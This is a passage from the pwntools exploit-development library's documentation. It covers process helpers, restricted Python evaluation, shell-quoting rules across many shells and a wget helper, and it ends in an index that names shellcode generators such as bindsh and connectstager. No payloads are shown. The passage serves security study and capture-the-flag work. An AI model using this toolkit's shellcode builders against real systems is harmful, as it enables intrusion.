Returns The contents of `/proc/<pid>/status` as a dictionary.

pwnlib.util.proc.**tracer**(*pid*) → int

Parameters *pid* (*int*) – PID of the process.

Returns PID of the process tracing *pid*, or None if no *pid* is not being traced.

Example

```
>>> tracer(os.getpid()) is None
True
```

pwnlib.util.proc.**wait_for_debugger**(*pid*) → None

Sleeps until the process with PID *pid* is being traced.

Parameters *pid* (*int*) – PID of the process.

Returns None

2.42 pwnlib.util.safeeval — Safe evaluation of python code

`pwnlib.util.safeeval.const(expression) → value`

Safe Python constant evaluation

Evaluates a string that contains an expression describing a Python constant. Strings that are not valid Python expressions or that contain other code besides the constant raise `ValueError`.

Examples

```
>>> const("10")
10
>>> const("[1,2, (3,4), {'foo':'bar'}]")
[1, 2, (3, 4), {'foo': 'bar'}]
>>> const("[1]+[2]")
Traceback (most recent call last):
...
ValueError: opcode BINARY_ADD not allowed
```

`pwnlib.util.safeeval.expr(expression) → value`

Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants. This can be used to e.g. evaluate a numerical expression from an untrusted source.

Examples

```
>>> expr("1+2")
3
>>> expr("[1,2]*2")
[1, 2, 1, 2]
>>> expr("__import__('sys').modules")
Traceback (most recent call last):
...
ValueError: opcode LOAD_NAME not allowed
```

`pwnlib.util.safeeval.test_expr(expr, allowed_codes) → codeobj`

Test that the expression contains only the listed opcodes. If the expression is valid and contains only allowed codes, return the compiled code object. Otherwise raise a `ValueError`

`pwnlib.util.safeeval.values(expression, dict) → value`

Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants and values from a supplied dictionary. This can be used to e.g. evaluate e.g. an argument to a syscall.

Note: This is potentially unsafe if e.g. the `__add__` method has side effects.

Examples

```
>>> values("A + 4", {'A': 6})
10
>>> class Foo:
...     def __add__(self, other):
```

(continues on next page)

(continued from previous page)

```
...         print("Firing the missiles")
>>> values("A + 1", {'A': Foo()})
Firing the missiles
>>> values("A.x", {'A': Foo()})
Traceback (most recent call last):
...
ValueError: opcode LOAD_ATTR not allowed
```

2.43 pwnlib.util.sh_string — Shell Expansion is Hard

Routines here are for getting any NULL-terminated sequence of bytes evaluated intact by any shell. This includes all variants of quotes, whitespace, and non-printable characters.

2.43.1 Supported Shells

The following shells have been evaluated:

- Ubuntu (dash/sh)
- MacOS (GNU Bash)
- Zsh
- FreeBSD (sh)
- OpenBSD (sh)
- NetBSD (sh)

Debian Almquist shell (Dash)

Ubuntu 14.04 and 16.04 use the Dash shell, and `/bin/sh` is actually just a symlink to `/bin/dash`. The feature set supported when invoked as “sh” instead of “dash” is different, and we focus exclusively on the “`/bin/sh`” implementation.

From the [Ubuntu Man Pages](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

Quoting

Quoting is used to remove the special meaning of certain characters or words to the shell, such as operators, whitespace, or keywords. There are three types of quoting: matched single quotes, matched double quotes, and backslash.

Backslash

A backslash preserves the literal meaning of the following character, with the exception of newline. A backslash preceding a newline is treated as a line continuation.

Single Quotes

Enclosing characters in single quotes preserves the literal meaning of all the characters (except single quotes, making it impossible to put single-quotes in a single-quoted string).

Double Quotes

(continues on next page)

(continued from previous page)

Enclosing characters within double quotes preserves the literal meaning of all characters except dollarsign (\$), backquote (`), and backslash (\). The backslash inside double quotes is historically weird, and serves to quote only the following characters:

\$ ` " \ <newline>.

Otherwise it remains literal.

GNU Bash

The Bash shell is default on many systems, though it is not generally the default system-wide shell (i.e., the *system* syscall does not generally invoke it).

That said, its prevalence suggests that it also be addressed.

From the [GNU Bash Manual](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

3.1.2.1 Escape Character

A non-quoted backslash '\' is the Bash escape character. It preserves the literal value of the next character that follows, with the exception of newline. If a '\\newline' pair appears, and the backslash itself is not quoted, the '\\newline' is treated as a line continuation (that is, it is removed from the input stream and effectively ignored).

3.1.2.2 Single Quotes

Enclosing characters in single quotes (') preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash.

3.1.2.3 Double Quotes

Enclosing characters in double quotes (") preserves the literal value of all characters within the quotes, with the exception of '\$', '\', and, when history expansion is enabled, '!'. The characters '\$' and '\' retain their special meaning within double quotes (see Shell Expansions). The backslash retains its special meaning only when followed by one of the following characters: '\$', '\', '\'', '\', or newline. Within double quotes, backslashes that are followed by one of these characters are removed. Backslashes preceding characters without a special meaning are left unmodified. A double quote may be quoted within double quotes by preceding it with a backslash. If enabled, history expansion will be performed unless an '!' appearing in double quotes is escaped using a backslash. The backslash preceding the '!' is not removed.

The special parameters '*' and '@' have special meaning when in double quotes (see Shell Parameter Expansion).

Z Shell

The Z shell is also a relatively common user shell, even though it's not generally the default system-wide shell.

From the [Z Shell Manual](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

A character may be quoted (that is, made to stand for itself) by preceding it with a `\`. `\` followed by a newline is ignored.

A string enclosed between `$'` and `'` is processed the same way as the string arguments of the `print` builtin, and the resulting string is considered to be entirely quoted. A literal `'` character can be included in the string by using the `\'` escape.

All characters enclosed between a pair of single quotes (`'`) that is not preceded by a `$` are quoted. A single quote cannot appear within single quotes unless the option `RC_QUOTES` is set, in which case a pair of single quotes are turned into a single quote. For example,

```
print '''
outputs nothing apart from a newline if RC_QUOTES is not set, but one single
quote if it is set.
```

Inside double quotes (`"`), parameter and command substitution occur, and `\` quotes the characters `\`, `'`, `"`, and `$`.

FreeBSD Shell

Compatibility with the FreeBSD shell is included for completeness.

From the [FreeBSD man pages](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

Quoting is used to remove the special meaning of certain characters or words to the shell, such as operators, whitespace, keywords, or alias names.

There are four types of quoting: matched single quotes, dollar-single quotes, matched double quotes, and backslash.

Single Quotes

Enclosing characters in single quotes preserves the literal meaning of all the characters (except single quotes, making it impossible to put single-quotes in a single-quoted string).

Dollar-Single Quotes

Enclosing characters between `$'` and `'` preserves the literal meaning of all characters except backslashes and single quotes. A backslash introduces a C-style escape sequence:

...

Double Quotes

Enclosing characters within double quotes preserves the literal meaning of all characters except dollar sign (`$`), backquote (```), and backslash (`\`). The backslash inside double quotes is historically weird. It remains literal unless it precedes the following characters, which it serves to quote:

```
$      `      "      \      \n
```

Backslash

(continues on next page)

(continued from previous page)

A backslash preserves the literal meaning of the following character, with the exception of the newline character (``\n'`). A backslash preceding a newline is treated as a line continuation.

OpenBSD Shell

From the [OpenBSD Man Pages](#), every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

A backslash (`\`) can be used to quote any character except a newline. If a newline follows a backslash the shell removes them both, effectively making the following line part of the current one.

A group of characters can be enclosed within single quotes (`'`) to quote every character within the quotes.

A group of characters can be enclosed within double quotes (`"`) to quote every character within the quotes except a backquote (```) or a dollar sign (`$`), both of which retain their special meaning. A backslash (`\`) within double quotes retains its special meaning, but only when followed by a backquote, dollar sign, double quote, or another backslash. An at sign (`@`) within double quotes has a special meaning (see SPECIAL PARAMETERS, below).

NetBSD Shell

The NetBSD shell’s documentation is identical to the Dash documentation.

Android Shells

Android has gone through some number of shells.

- Mksh, a Korn shell, was used with Toolbox releases (5.0 and prior)
- Toybox, also derived from the Almquist Shell (6.0 and newer)

Notably, the Toolbox implementation is not POSIX compliant as it lacks a “printf” builtin (e.g. Android 5.0 emulator images).

Toybox Shell

Android 6.0 (and possibly other versions) use a shell based on `toybox`.

While it does not include a `printf` builtin, `toybox` itself includes a POSIX-compliant `printf` binary.

The Ash shells should be feature-compatible with `dash`.

BusyBox Shell

BusyBox’s [Wikipedia page](#) claims to use an `ash`-compliant shell, and should therefore be compatible with `dash`.

`pwnlib.util.sh_string.sh_command_with(f, arg0, ..., argN) → command`

Returns a command create by evaluating $f(new_arg0, \dots, new_argN)$ whenever f is a function and $f \% (new_arg0, \dots, new_argN)$ otherwise.

If the arguments are purely alphanumeric, then they are simply passed to function. If they are simple to escape, they will be escaped and passed to the function.

If the arguments contain trailing newlines, then it is hard to use them directly because of a limitation in the posix shell. In this case the output from f is prepended with a bit of code to create the variables.

Examples

```
>>> sh_command_with(lambda: "echo hello")
'echo hello'
>>> sh_command_with(lambda x: "echo " + x, "hello")
'echo hello'
>>> sh_command_with(lambda x: "/bin/echo " + x, "\\x01")
'/bin/echo '\\x01'
>>> sh_command_with(lambda x: "/bin/echo " + x, "\\x01\\n")
'/bin/echo '\\x01\\n'
>>> sh_command_with("/bin/echo %s", "\\x01\\n")
'/bin/echo '\\x01\\n'
```

`pwnlib.util.sh_string.sh_prepare(variables, export=False)`

Outputs a posix compliant shell command that will put the data specified by the dictionary into the environment.

It is assumed that the keys in the dictionary are valid variable names that does not need any escaping.

Parameters

- **variables** (*dict*) – The variables to set.
- **export** (*bool*) – Should the variables be exported or only stored in the shell environment?
- **output** (*str*) – A valid posix shell command that will set the given variables.

It is assumed that *var* is a valid name for a variable in the shell.

Examples

```
>>> sh_prepare({'X': 'foobar'})
'X=foobar'
>>> r = sh_prepare({'X': 'foobar', 'Y': 'cookies'})
>>> r == 'X=foobar;Y=cookies' or r == 'Y=cookies;X=foobar'
True
>>> sh_prepare({'X': 'foo bar'})
'X='foo bar''
>>> sh_prepare({'X': "foo'bar"})
'X='foo'\''bar''
>>> sh_prepare({'X': "foo\\\\bar"})
'X='foo\\\\bar''
>>> sh_prepare({'X': "foo\\\\\\bar"})
'X='foo\\\\\\bar''
>>> sh_prepare({'X': "foo\\\\x01'bar"})
'X='foo\\\\x01\\''bar''
>>> sh_prepare({'X': "foo\\\\x01'bar"}, export = True)
'export X='foo\\\\x01\\''bar'''
```

(continues on next page)

(continued from previous page)

```
>>> sh_prepare({'X': "foo\\x01'bar\\n"})
"X='foo\\x01'\\''bar\\n'"
>>> sh_prepare({'X': "foo\\x01'bar\\n"})
"X='foo\\x01'\\''bar\\n'"
>>> sh_prepare({'X': "foo\\x01'bar\\n"}, export = True)
"export X='foo\\x01'\\''bar\\n'"
```

pwnlib.util.sh_string.**sh_string**(s)

Outputs a string in a format that will be understood by /bin/sh.

If the string does not contain any bad characters, it will simply be returned, possibly with quotes. If it contains bad characters, it will be escaped in a way which is compatible with most known systems.

Warning: This does not play along well with the shell’s built-in “echo”. It works exactly as expected to set environment variables and arguments, **unless** it’s the shell-builtin echo.

Argument: s(str): String to escape.

Examples

```
>>> sh_string('foobar')
'foobar'
>>> sh_string('foo bar')
'"foo bar"'
>>> sh_string("foo'bar")
'"foo'\\''bar'"
>>> sh_string("foo\\\\bar")
'"foo\\\\bar"'
>>> sh_string("foo\\\\\\bar")
'"foo\\\\\\bar\\''bar'"
>>> sh_string("foo\\x01'bar")
'"foo\\x01'\\''bar'"
```

pwnlib.util.sh_string.**test**(original)

Tests the output provided by a shell interpreting a string

```
>>> test(b'foobar')
>>> test(b'foo bar')
>>> test(b'foo bar\\n')
>>> test(b"foo'bar")
>>> test(b"foo\\\\bar")
>>> test(b"foo\\\\\\bar")
>>> test(b"foo\\x01'bar")
>>> test(b'\\n')
>>> test(b'\\xff')
>>> test(os.urandom(16 * 1024).replace(b'\\x00', b''))
```

2.44 pwnlib.util.web — Utilities for working with the WWW

pwnlib.util.web.**wget**(url, save=None, timeout=5) → str

Downloads a file via HTTP/HTTPS.

Parameters

- **url** (*str*) – URL to download
- **save** (*str* or *bool*) – Name to save as. Any truthy value will auto-generate a name based on the URL.
- **timeout** (*int*) – Timeout, in seconds

Example

```
>>> url = 'https://httpbin.org/robots.txt'
>>> result = wget(url, timeout=60)
>>> result
b'User-agent: *\nDisallow: /deny\n'
>>> result2 = wget(url, True, timeout=60)
>>> result == open('robots.txt', 'rb').read()
True
```

2.45 pwnlib.testexample — Example Test Module

Module-level documentation would go here, along with a general description of the functionality. You can also add module-level doctests.

You can see what the documentation for this module will look like here: <https://docs.pwntools.com/en/stable/testexample.html>

The tests for this module are run when the documentation is automatically-generated by Sphinx. This particular module is invoked by an “automodule” directive, which imports everything in the module, or everything listed in `__all__` in the module.

The doctests are automatically picked up by the `>>>` symbol, like from the Python prompt. For more on doctests, see the [Python documentation](#).

All of the syntax in this file is ReStructuredText. You can find a [nice cheat sheet here](#).

Here’s an example of a module-level doctest:

```
>>> add(3, add(2, add(1, 0)))
6
```

If doctests are wrong / broken, you can disable them temporarily.

```
>>> add(2, 2) # doctest: +SKIP
5
```

Some things in Python are non-deterministic, like `dict` or `set` ordering. There are a lot of ways to work around this, but the accepted way of doing this is to test for equality.

```
>>> a = {a:a+1 for a in range(3)}
>>> a == {0:1, 1:2, 2:3}
True
```

In order to use other modules, they need to be imported from the RST which documents the module.

```
>>> os.path.basename('foo/bar')
'bar'
```


`pwnlib.testexample.add(a, b) → int`
Adds the numbers `a` and `b`.

Parameters

- **a** (*int*) – First number to add
- **b** (*int*) – Second number to add

Returns The sum of `a` and `b`.

Examples

```
>>> add(1, 2)
3
>>> add(-1, 33)
32
```


CHAPTER 3

Indices and tables

- `genindex`
- `modindex`
- `search`

p

- [pwn](#), 3
- [pwnlib](#), 4
 - [pwnlib.adb.adb](#), 21
 - [pwnlib.adb.protocol](#), 28
 - [pwnlib.args](#), 29
 - [pwnlib.asm](#), 30
 - [pwnlib.atexception](#), 34
 - [pwnlib.atexit](#), 34
 - [pwnlib.config](#), 36
 - [pwnlib.constants](#), 35
 - [pwnlib.context](#), 37
 - [pwnlib.dynelf](#), 49
 - [pwnlib.elf](#), 52
 - [pwnlib.elf.config](#), 66
 - [pwnlib.elf.corefile](#), 66
 - [pwnlib.elf.elf](#), 52
 - [pwnlib.encoders](#), 51
 - [pwnlib.encoders.amd64](#), 52
 - [pwnlib.encoders.arm](#), 52
 - [pwnlib.encoders.encoder](#), 51
 - [pwnlib.encoders.i386](#), 52
 - [pwnlib.encoders.i386.xor](#), 52
 - [pwnlib.exception](#), 75
 - [pwnlib.flag](#), 76
 - [pwnlib.fmtstr](#), 76
 - [pwnlib.gdb](#), 84
 - [pwnlib.libcdb](#), 91
 - [pwnlib.log](#), 93
 - [pwnlib.memleak](#), 97
 - [pwnlib.protocols](#), 105
 - [pwnlib.protocols.adb](#), 105
 - [pwnlib.qemu](#), 108
 - [pwnlib.regsort](#), 168
 - [pwnlib.replacements](#), 110
 - [pwnlib.rop.rop](#), 110
 - [pwnlib.rop.srop](#), 119
 - [pwnlib.runner](#), 124
 - [pwnlib.shellcraft](#), 125
 - [pwnlib.shellcraft.aarch64](#), 125
 - [pwnlib.shellcraft.aarch64.linux](#), 129
 - [pwnlib.shellcraft.amd64](#), 132
 - [pwnlib.shellcraft.amd64.linux](#), 138
 - [pwnlib.shellcraft.arm](#), 143
 - [pwnlib.shellcraft.arm.linux](#), 147
 - [pwnlib.shellcraft.common](#), 149
 - [pwnlib.shellcraft.i386](#), 149
 - [pwnlib.shellcraft.i386.freebsd](#), 162
 - [pwnlib.shellcraft.i386.linux](#), 156
 - [pwnlib.shellcraft.mips](#), 163
 - [pwnlib.shellcraft.mips.linux](#), 166
 - [pwnlib.shellcraft.thumb](#), 171
 - [pwnlib.shellcraft.thumb.linux](#), 175
 - [pwnlib.term](#), 179
 - [pwnlib.testexample](#), 314
 - [pwnlib.timeout](#), 179
 - [pwnlib.tubes](#), 181
 - [pwnlib.tubes.buffer](#), 181
 - [pwnlib.tubes.listen](#), 189
 - [pwnlib.tubes.process](#), 182
 - [pwnlib.tubes.remote](#), 188
 - [pwnlib.tubes.serialtube](#), 188
 - [pwnlib.tubes.server](#), 191
 - [pwnlib.tubes.sock](#), 188
 - [pwnlib.tubes.ssh](#), 192
 - [pwnlib.tubes.tube](#), 202
 - [pwnlib.ui](#), 217
 - [pwnlib.update](#), 218
 - [pwnlib.useragents](#), 219
 - [pwnlib.util.crc](#), 219
 - [pwnlib.util.cyclic](#), 263
 - [pwnlib.util.fiddling](#), 266
 - [pwnlib.util.getdents](#), 276
 - [pwnlib.util.hashes](#), 276
 - [pwnlib.util.iters](#), 278
 - [pwnlib.util.lists](#), 289
 - [pwnlib.util.misc](#), 290
 - [pwnlib.util.net](#), 295
 - [pwnlib.util.packing](#), 296

`pwnlib.util.proc`, [303](#)
`pwnlib.util.safeeval`, [307](#)
`pwnlib.util.sh_string`, [308](#)
`pwnlib.util.web`, [313](#)

Symbols

- address <address>
 - pwn-shellcraft command line option, 19
- color
 - pwn-disasm command line option, 15
 - pwn-shellcraft command line option, 19
- color {always, never, auto}
 - pwn-phd command line option, 17
- exec <executable>
 - pwn-debug command line option, 15
- file <elf>
 - pwn-checksec command line option, 13
- host <host>
 - pwn-template command line option, 19
- install
 - pwn-update command line option, 20
- no-color
 - pwn-disasm command line option, 15
 - pwn-shellcraft command line option, 19
- pass <password>
 - pwn-template command line option, 19
- path <path>
 - pwn-template command line option, 19
- pid <pid>
 - pwn-debug command line option, 15
- port <port>
 - pwn-template command line option, 19
- pre
 - pwn-update command line option, 20
- process <process_name>
 - pwn-debug command line option, 15
- quiet
 - pwn-template command line option, 19
- syscalls
 - pwn-shellcraft command line option, 19
- sysroot <sysroot>
 - pwn-debug command line option, 15
- user <user>
 - pwn-template command line option, 19
- , -show
 - pwn-shellcraft command line option, 18
- a <address>, -address <address>
 - pwn-disasm command line option, 15
- a <alphabet>, -alphabet <alphabet>
 - pwn-cyclic command line option, 14
- a, -after
 - pwn-shellcraft command line option, 18
- b, -before
 - pwn-shellcraft command line option, 18
- b, -build-id
 - pwn-pwnstrip command line option, 17
- c <count>, -count <count>
 - pwn-phd command line option, 17
- d, -debug
 - pwn-asm command line option, 13
 - pwn-scramble command line option, 18
 - pwn-shellcraft command line option, 18
- e <constant>, -exact <constant>
 - pwn-constgrep command line option, 14
- e <encoder>, -encoder <encoder>
 - pwn-asm command line option, 13
- f {r, raw, s, str, string, c, h, hex, a, asm, assembly, p, i, l}
 - format {r, raw, s, str, string, c, h, hex, a, asm, assembly, p, i, l}
 - pwn-shellcraft command line option, 18
- f {raw, hex, string, elf}, -format {raw, hex, string, elf}
 - pwn-asm command line option, 13
 - pwn-scramble command line option, 17
- h, -help

pwn command line option, 12
 pwn-asm command line option, 13
 pwn-checksec command line option, 13
 pwn-constgrep command line option, 14
 pwn-cyclic command line option, 14
 pwn-debug command line option, 14
 pwn-disablenx command line option, 15
 pwn-disasm command line option, 15
 pwn-elfdiff command line option, 16
 pwn-elfpatch command line option, 16
 pwn-errno command line option, 16
 pwn-hex command line option, 16
 pwn-phd command line option, 17
 pwn-pwnstrip command line option, 17
 pwn-scramble command line option, 17
 pwn-shellcraft command line option, 18
 pwn-template command line option, 19
 pwn-unhex command line option, 19
 pwn-update command line option, 20
 -i <infile>, -infile <infile>
 pwn-asm command line option, 13
 -i, -case-insensitive
 pwn-constgrep command line option, 14
 -l <highlight>, -highlight <highlight>
 pwn-phd command line option, 17
 -l <lookup_value>, -o <lookup_value>, -offset <lookup_value>, -lookup <lookup_value>
 pwn-cyclic command line option, 14
 -l, -list
 pwn-shellcraft command line option, 19
 -m, -mask-mode
 pwn-constgrep command line option, 14
 -n <length>, -length <length>
 pwn-cyclic command line option, 14
 -n, -newline
 pwn-asm command line option, 13
 pwn-scramble command line option, 18
 pwn-shellcraft command line option, 18
 -o <file>, -out <file>
 pwn-shellcraft command line option, 18
 -o <file>, -output <file>
 pwn-asm command line option, 13
 pwn-scramble command line option, 17
 -o <offset>, -offset <offset>
 pwn-phd command line option, 17

-o <output>, -output <output>
 pwn-pwnstrip command line option, 17
 -p <function>, -patch <function>
 pwn-pwnstrip command line option, 17
 -p, -alphanumeric
 pwn-scramble command line option, 18
 -r, -run
 pwn-asm command line option, 13
 pwn-shellcraft command line option, 18
 -s <skip>, -skip <skip>
 pwn-phd command line option, 17
 -s, -shared
 pwn-shellcraft command line option, 19
 -v <avoid>, -avoid <avoid>
 pwn-asm command line option, 13
 pwn-scramble command line option, 18
 pwn-shellcraft command line option, 18
 -w <width>, -width <width>
 pwn-phd command line option, 17
 -x <gdbscript>
 pwn-debug command line option, 14
 -z, -zero
 pwn-asm command line option, 13
 pwn-scramble command line option, 18
 pwn-shellcraft command line option, 18

A

a
 pwn-elfdiff command line option, 16
 acceptloop_ipv4() (in module *pwn-lib.shellcraft.i386.freebsd*), 162
 acceptloop_ipv4() (in module *pwn-lib.shellcraft.i386.linux*), 156
 adb (*pwnlib.context.ContextType* attribute), 40
 adb() (in module *pwnlib.adb.adb*), 22
 adb_host (*pwnlib.context.ContextType* attribute), 40
 adb_port (*pwnlib.context.ContextType* attribute), 41
 AdbClient (class in *pwnlib.protocols.adb*), 105
 AdbDevice (class in *pwnlib.adb.adb*), 22
 add() (in module *pwnlib.testexample*), 314
 add() (*pwnlib.tubes.buffer.Buffer* method), 181
 addHandler() (*pwnlib.log.Logger* method), 96
 address (*pwnlib.elf.corefile.Mapping* attribute), 74
 address (*pwnlib.elf.elf.ELF* attribute), 59
 address (*pwnlib.elf.elf.Function* attribute), 65
 alarm (*pwnlib.tubes.process.process* attribute), 186
 align() (in module *pwnlib.util.misc*), 290
 align_down() (in module *pwnlib.util.misc*), 291
 alphanumeric() (in module *pwn-lib.encoders.encoder*), 51

ancestors() (in module pwnlib.util.proc), 303
 arc() (in module pwnlib.util.crc), 221
 arch (pwnlib.context.ContextType attribute), 41
 arch (pwnlib.elf.elf.ELF attribute), 60
 arch (pwnlib.tubes.ssh.ssh attribute), 201
 architectures (pwnlib.context.ContextType attribute), 42
 archname() (in module pwnlib.qemu), 109
 arg
 pwn-shellcraft command line option, 18
 argc (pwnlib.elf.corefile.Corefile attribute), 71
 argc_address (pwnlib.elf.corefile.Corefile attribute), 71
 argv (pwnlib.elf.corefile.Corefile attribute), 72
 argv (pwnlib.tubes.process.process attribute), 186
 argv_address (pwnlib.elf.corefile.Corefile attribute), 72
 asan (pwnlib.elf.elf.ELF attribute), 60
 asbool() (in module pwnlib.args), 30
 aslr (pwnlib.context.ContextType attribute), 42
 aslr (pwnlib.elf.elf.ELF attribute), 60
 aslr (pwnlib.tubes.process.process attribute), 186
 aslr (pwnlib.tubes.ssh.ssh attribute), 201
 aslr_ulimit (pwnlib.tubes.ssh.ssh attribute), 201
 asm() (in module pwnlib.asm), 30
 asm() (pwnlib.elf.elf.ELF method), 53
 AtomWrite (class in pwnlib.fmtstr), 78
 attach() (in module pwnlib.gdb), 86
 available_on_pypi() (in module pwnlib.update), 218

B

b
 pwn-elfdiff command line option, 16
 b() (pwnlib.memleak.MemLeak method), 98
 b64d() (in module pwnlib.util.fiddling), 266
 b64e() (in module pwnlib.util.fiddling), 266
 base (pwnlib.rop.rop.ROP attribute), 119
 bases() (pwnlib.dynelf.DynELF method), 50
 binary (pwnlib.context.ContextType attribute), 42
 binary() (in module pwnlib.gdb), 87
 binary_ip() (in module pwnlib.util.misc), 291
 bindsh() (in module pwnlib.shellcraft.amd64.linux), 138
 bindsh() (in module pwnlib.shellcraft.mips.linux), 166
 bindsh() (in module pwnlib.shellcraft.thumb.linux), 175
 BitPolynom (class in pwnlib.util.crc), 220
 bits (pwnlib.context.ContextType attribute), 42
 bits (pwnlib.elf.elf.ELF attribute), 60
 bits (pwnlib.tubes.ssh.ssh attribute), 201
 bits() (in module pwnlib.util.fiddling), 266
 bits_str() (in module pwnlib.util.fiddling), 267

bitswap() (in module pwnlib.util.fiddling), 267
 bitswap_int() (in module pwnlib.util.fiddling), 267
 bnot() (in module pwnlib.util.fiddling), 267
 boot_time() (in module pwnlib.adb.adb), 22
 breakpoint() (in module pwnlib.shellcraft.aarch64), 125
 breakpoint() (in module pwnlib.shellcraft.i386), 149
 bruteforce() (in module pwnlib.util.its), 278
 bss() (pwnlib.elf.elf.ELF method), 53
 Buffer, 181
 buffer_size (pwnlib.context.ContextType attribute), 42
 build (pwnlib.elf.elf.ELF attribute), 60
 build() (in module pwnlib.adb.adb), 22
 build() (pwnlib.rop.rop.ROP method), 117
 buildid (pwnlib.elf.elf.ELF attribute), 60
 bytes
 pwn-elfpatch command line option, 16
 bytes (pwnlib.context.ContextType attribute), 43
 bytes (pwnlib.elf.elf.ELF attribute), 60

C

c (pwnlib.protocols.adb.AdbClient attribute), 108
 cache (pwnlib.tubes.ssh.ssh attribute), 201
 cache_dir (pwnlib.context.ContextType attribute), 43
 cache_file() (in module pwnlib.update), 218
 cacheflush() (in module pwnlib.shellcraft.arm.linux), 147
 call() (pwnlib.rop.rop.ROP method), 117
 can_init() (in module pwnlib.term), 179
 can_read() (pwnlib.tubes.tube.tube method), 202
 can_read_raw() (pwnlib.tubes.tube.tube method), 202
 can_recv() (pwnlib.tubes.tube.tube method), 202
 can_recv_raw() (pwnlib.tubes.process.process method), 185
 can_recv_raw() (pwnlib.tubes.serialtube.serialtube method), 188
 canary (pwnlib.elf.elf.ELF attribute), 60
 canonname (pwnlib.tubes.listen.listen attribute), 190
 canonname (pwnlib.tubes.server.server attribute), 191
 cat() (in module pwnlib.shellcraft.aarch64.linux), 129
 cat() (in module pwnlib.shellcraft.amd64.linux), 138
 cat() (in module pwnlib.shellcraft.arm.linux), 147
 cat() (in module pwnlib.shellcraft.i386.linux), 156
 cat() (in module pwnlib.shellcraft.mips.linux), 166
 cat() (in module pwnlib.shellcraft.thumb.linux), 175
 chain() (in module pwnlib.util.its), 287
 chain() (pwnlib.rop.rop.ROP method), 117
 chained() (in module pwnlib.util.its), 279
 check_cycle() (in module pwnlib.regsort), 168
 checksec() (pwnlib.elf.elf.ELF method), 53
 checksec() (pwnlib.tubes.ssh.ssh method), 192
 children() (in module pwnlib.util.proc), 304

- `cksum()` (in module `pwnlib.util.crc`), 221
- `clean()` (`pwnlib.tubes.tube.tube` method), 203
- `clean_and_log()` (`pwnlib.tubes.tube.tube` method), 203
- `clear()` (`pwnlib.context.ContextType` method), 39
- `clear_cache()` (`pwnlib.rop.rop.ROP` static method), 117
- `clearb()` (`pwnlib.memleak.MemLeak` method), 98
- `cleard()` (`pwnlib.memleak.MemLeak` method), 99
- `clearq()` (`pwnlib.memleak.MemLeak` method), 99
- `clearw()` (`pwnlib.memleak.MemLeak` method), 99
- `client` (`pwnlib.tubes.ssh.ssh` attribute), 201
- `close()` (`pwnlib.protocols.adb.Connection` method), 108
- `close()` (`pwnlib.tubes.listen.listen` method), 190
- `close()` (`pwnlib.tubes.process.process` method), 185
- `close()` (`pwnlib.tubes.serialtube.serialtube` method), 188
- `close()` (`pwnlib.tubes.server.server` method), 191
- `close()` (`pwnlib.tubes.ssh.ssh` method), 192
- `close()` (`pwnlib.tubes.tube.tube` method), 203
- `cmdline()` (in module `pwnlib.util.proc`), 304
- `combinations()` (in module `pwnlib.util.itors`), 288
- `combinations_with_replacement()` (in module `pwnlib.util.itors`), 288
- `communicate()` (`pwnlib.tubes.process.process` method), 185
- `compile()` (in module `pwnlib.adb.adb`), 22
- `compress()` (in module `pwnlib.util.itors`), 288
- `compute_padding()` (`pwnlib.fmtstr.AtomWrite` method), 78
- `concat()` (in module `pwnlib.util.lists`), 289
- `concat_all()` (in module `pwnlib.util.lists`), 289
- `config` (`pwnlib.elf.elf.ELF` attribute), 60
- `connect()` (in module `pwnlib.lib.shellcraft.aarch64.linux`), 130
- `connect()` (in module `pwnlib.lib.shellcraft.amd64.linux`), 138
- `connect()` (in module `pwnlib.lib.shellcraft.arm.linux`), 147
- `connect()` (in module `pwnlib.lib.shellcraft.i386.linux`), 156
- `connect()` (in module `pwnlib.lib.shellcraft.mips.linux`), 166
- `connect()` (in module `pwnlib.lib.shellcraft.thumb.linux`), 175
- `connect_both()` (`pwnlib.tubes.tube.tube` method), 204
- `connect_input()` (`pwnlib.tubes.tube.tube` method), 204
- `connect_output()` (`pwnlib.tubes.tube.tube` method), 204
- `connect_remote()` (`pwnlib.tubes.ssh.ssh` method), 193
- `connected()` (`pwnlib.tubes.ssh.ssh` method), 193
- `connected()` (`pwnlib.tubes.tube.tube` method), 204
- `connected_raw()` (`pwnlib.tubes.process.process` method), 185
- `connected_raw()` (`pwnlib.tubes.serialtube.serialtube` method), 188
- `Connection` (class in `pwnlib.protocols.adb`), 108
- `connectstager()` (in module `pwnlib.lib.shellcraft.amd64.linux`), 138
- `connectstager()` (in module `pwnlib.lib.shellcraft.i386.linux`), 157
- `connectstager()` (in module `pwnlib.lib.shellcraft.thumb.linux`), 175
- `const()` (in module `pwnlib.util.safeeval`), 307
- `constant`
 - `pwn-constgrep` command line option, 14
- `consume()` (in module `pwnlib.util.itors`), 279
- `context` (in module `pwnlib.context`), 48
- `ContextType` (class in `pwnlib.context`), 37
- `ContextType.Thread` (class in `pwnlib.context`), 38
- `copy()` (`pwnlib.context.ContextType` method), 39
- `Corefile` (class in `pwnlib.elf.corefile`), 67
- `corefile` (`pwnlib.tubes.process.process` attribute), 186
- `corefile()` (in module `pwnlib.gdb`), 87
- `count`
 - `pwn-cyclic` command line option, 14
- `count()` (in module `pwnlib.util.itors`), 288
- `countdown()` (`pwnlib.timeout.Timeout` method), 180
- `cpp()` (in module `pwnlib.asm`), 31
- `crash()` (in module `pwnlib.lib.shellcraft.aarch64`), 125
- `crash()` (in module `pwnlib.lib.shellcraft.amd64`), 132
- `crash()` (in module `pwnlib.lib.shellcraft.arm`), 143
- `crash()` (in module `pwnlib.lib.shellcraft.i386`), 149
- `crash()` (in module `pwnlib.lib.shellcraft.thumb`), 171
- `crc_10()` (in module `pwnlib.util.crc`), 222
- `crc_10_cdma2000()` (in module `pwnlib.util.crc`), 222
- `crc_10_gsm()` (in module `pwnlib.util.crc`), 223
- `crc_11()` (in module `pwnlib.util.crc`), 223
- `crc_11_umts()` (in module `pwnlib.util.crc`), 223
- `crc_12_cdma2000()` (in module `pwnlib.util.crc`), 224
- `crc_12_dect()` (in module `pwnlib.util.crc`), 224
- `crc_12_gsm()` (in module `pwnlib.util.crc`), 225
